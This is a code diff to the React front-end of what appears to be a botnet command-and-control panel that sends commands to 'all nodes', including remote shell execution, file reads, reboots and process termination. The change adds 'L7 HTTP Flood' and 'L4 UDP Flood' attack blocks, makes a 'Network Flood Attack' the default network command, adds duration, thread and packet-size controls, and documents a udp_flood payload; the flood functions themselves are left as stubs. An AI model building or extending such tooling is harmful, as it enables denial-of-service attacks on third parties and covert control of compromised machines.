Update src/App.tsx

src/App.tsx

@@ -474,7 +474,7 @@ function PayloadsTab() {
 
 function BuilderTab() {
   const [prompt, setPrompt] = useState('');
-  const [mode, setMode] = useState<'payload' | 'packets' | 'manual'>('payload');
+  const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop');
   const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
   const [loading, setLoading] = useState(false);
   const [result, setResult] = useState('');
@@ -571,6 +571,7 @@ function BuilderTab() {
           headers: { 'Content-Type': 'application/json' },
           body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
         });
+        await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered
       }
       alert(`Dispatched ${packets.length} packets to all nodes.`);
     } catch (e: any) {
@@ -617,15 +618,21 @@ function BuilderTab() {
               >
                 Gen Packets
               </button>
+              <button 
+                onClick={() => setMode('dragdrop')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Visual Block Builder
+              </button>
               <button 
                 onClick={() => setMode('manual')}
                 className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
               >
-                Manual Build
+                Raw Editor
               </button>
             </div>
             
-            {mode === 'manual' ? (
+            {(mode === 'manual' || mode === 'dragdrop') ? (
               <div className="flex flex-col gap-4">
                 <div className="bg-black/20 border border-white/10 rounded-xl p-3">
                   <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
@@ -638,13 +645,37 @@ function BuilderTab() {
                   </div>
                 </div>
                 <div className="bg-black/20 border border-white/10 rounded-xl p-3">
-                  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Add Command Blocks (Python)</h3>
-                  <div className="flex flex-wrap gap-2">
-                    <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n    pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
-                    <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n    pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
-                    <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
-                    <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
-                  </div>
+                  <h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3>
+                  {mode === 'dragdrop' ? (
+                     <div className="flex flex-col gap-2">
+                       <p className="text-xs text-slate-400 mb-2">Click blocks to append them to your source chain.</p>
+                       <div className="grid grid-cols-2 gap-2">
+                          <div onClick={() => setResult(prev => prev + '\n# L7 Diagnostics\ndef exec_fetch_http_test(ip, port):\n    pass # Replace with HTTP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
+                             <div className="text-xs font-bold text-indigo-300">HTTP Probe</div>
+                             <div className="text-[10px] text-slate-400 mt-1">Lightweight connectivity check.</div>
+                          </div>
+                          <div onClick={() => setResult(prev => prev + '\n# L4 Diagnostics\ndef exec_socket_tcp_probe(ip, port):\n    pass # Replace with TCP logic')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
+                             <div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
+                             <div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
+                          </div>
+                          <div onClick={() => setResult(prev => prev + '\n# L7 Attack Vector\ndef exec_http_flood(url, duration, threads_count):\n    pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
+                             <div className="text-xs font-bold text-rose-300">L7 HTTP Flood</div>
+                             <div className="text-[10px] text-slate-400 mt-1">Concurrent request generation.</div>
+                          </div>
+                          <div onClick={() => setResult(prev => prev + '\n# L4 Attack Vector\ndef exec_udp_flood(ip, port, duration, packet_size):\n    pass # Impl flood')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
+                             <div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
+                             <div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
+                          </div>
+                       </div>
+                     </div>
+                  ) : (
+                    <div className="flex flex-wrap gap-2">
+                      <button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n    pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
+                      <button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n    pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
+                      <button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
+                      <button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n    pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
+                    </div>
+                  )}
                 </div>
               </div>
             ) : (
@@ -688,7 +719,7 @@ function BuilderTab() {
           {result ? (
             <div className="flex flex-col h-full gap-3">
               <div className="flex justify-end gap-2 px-1">
-                {(mode === 'payload' || mode === 'manual') ? (
+                {(mode === 'payload' || mode === 'manual' || mode === 'dragdrop') ? (
                   <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
                 ) : null}
                 {mode === 'packets' && (
@@ -798,6 +829,11 @@ elif cmd_type == 'exec_shell':
               <p className="mb-2">Execute an arbitrary terminal command.</p>
               <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
             </li>
+            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
+              <strong className="text-white block mb-1">network_flood</strong>
+              <p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p>
+              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code>
+            </li>
             <li className="p-3 bg-white/5 rounded-lg border border-white/5">
               <strong className="text-white block mb-1">fetch_http_test</strong>
               <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
@@ -1041,10 +1077,10 @@ function ReportResultViewer({ report }: { report: any }) {
 function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
   // Use state strictly tied to the category if possible, but shared state is fine.
   // When category changes, reset command to default of that category.
-  const [command, setCommand] = useState(category === 'network' ? 'fetch_http_test' : category === 'system' ? 'check_uptime' : 'list_directory');
+  const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
   
   useEffect(() => {
-    setCommand(category === 'network' ? 'fetch_http_test' : category === 'system' ? 'check_uptime' : 'list_directory');
+    setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
   }, [category]);
 
   const [targetNode, setTargetNode] = useState('all');
@@ -1053,6 +1089,10 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
   const [host, setHost] = useState('google.com');
   const [portsList, setPortsList] = useState('80,443');
   const [interval, setIntervalVal] = useState('10');
+  const [floodType, setFloodType] = useState('http_flood');
+  const [duration, setDuration] = useState('10');
+  const [threads, setThreads] = useState('10');
+  const [packetSize, setPacketSize] = useState('1024');
   const [shellCmd, setShellCmd] = useState('echo hello');
   const [filePath, setFilePath] = useState('/etc/pwd');
   const [status, setStatus] = useState('');
@@ -1079,8 +1119,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
     return () => clearInterval(iv);
   }, []);
 
-  const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe';
+  const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
   const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
+  const requiresFloodArgs = command === 'network_flood';
+  const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
+  const requiresThreads = command === 'network_flood' && floodType === 'http_flood';
   const requiresPorts = command === 'port_scan';
   const requiresInterval = command === 'change_poll_interval';
   const requiresShell = command === 'exec_shell';
@@ -1108,8 +1151,14 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
         return;
       }
     } else {
-      if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
-      if (requiresHost) payload = { host };
+      if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 };
+      if (requiresFloodArgs) {
+         payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` };
+         finalType = floodType; // Overwrite the generic command string with the actual flood logic to run
+      }
+      if (requiresThreads) payload = { ...payload, threads: parseInt(threads) };
+      if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) };
+      if (requiresHost) payload = { ...payload, host };
       if (requiresPorts) payload = { ...payload, ports: portsList };
       if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
       if (requiresShell) payload = { cmd: shellCmd };
@@ -1170,6 +1219,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
               >
                 {category === 'network' && (
                   <optgroup label="Network Commands">
+                    <option value="network_flood">L4/L7 Network Flood Attack</option>
                     <option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
                     <option value="socket_tcp_probe">TCP Socket Probe</option>
                     <option value="dns_resolve">DNS Resolve</option>
@@ -1202,9 +1252,9 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
                     <option value="system_logs">System Logs (dmesg/syslog)</option>
                     <option value="list_services">List Services (systemctl/sc)</option>
                     <option value="exec_shell">Exec Shell Command</option>
+                    <option value="custom_json">Custom JSON Command</option>
                     <option value="reboot_system">Reboot System (Warning!)</option>
                     <option value="self_terminate">Terminate Client Process</option>
-                    <option value="custom_json">Custom JSON Command</option>
                   </optgroup>
                 )}
                 {category === 'file' && (
@@ -1247,6 +1297,38 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
               </div>
             )}
 
+            {requiresFloodArgs && (
+              <div className="grid grid-cols-2 gap-4">
+                <div className="col-span-2">
+                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label>
+                  <select 
+                    value={floodType} 
+                    onChange={e => setFloodType(e.target.value)} 
+                    className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
+                  >
+                    <option value="http_flood">L7 HTTP Flood</option>
+                    <option value="udp_flood">L4 UDP Flood</option>
+                  </select>
+                </div>
+                <div>
+                  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label>
+                  <input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
+                </div>
+                {requiresThreads && (
+                  <div>
+                    <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label>
+                    <input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
+                  </div>
+                )}
+                {requiresPacketSize && (
+                  <div>
+                    <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label>
+                    <input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
+                  </div>
+                )}
+              </div>
+            )}
+            
             {requiresHost && (
               <div className="border-t border-white/5 pt-5 flex flex-col gap-4">
                 <div>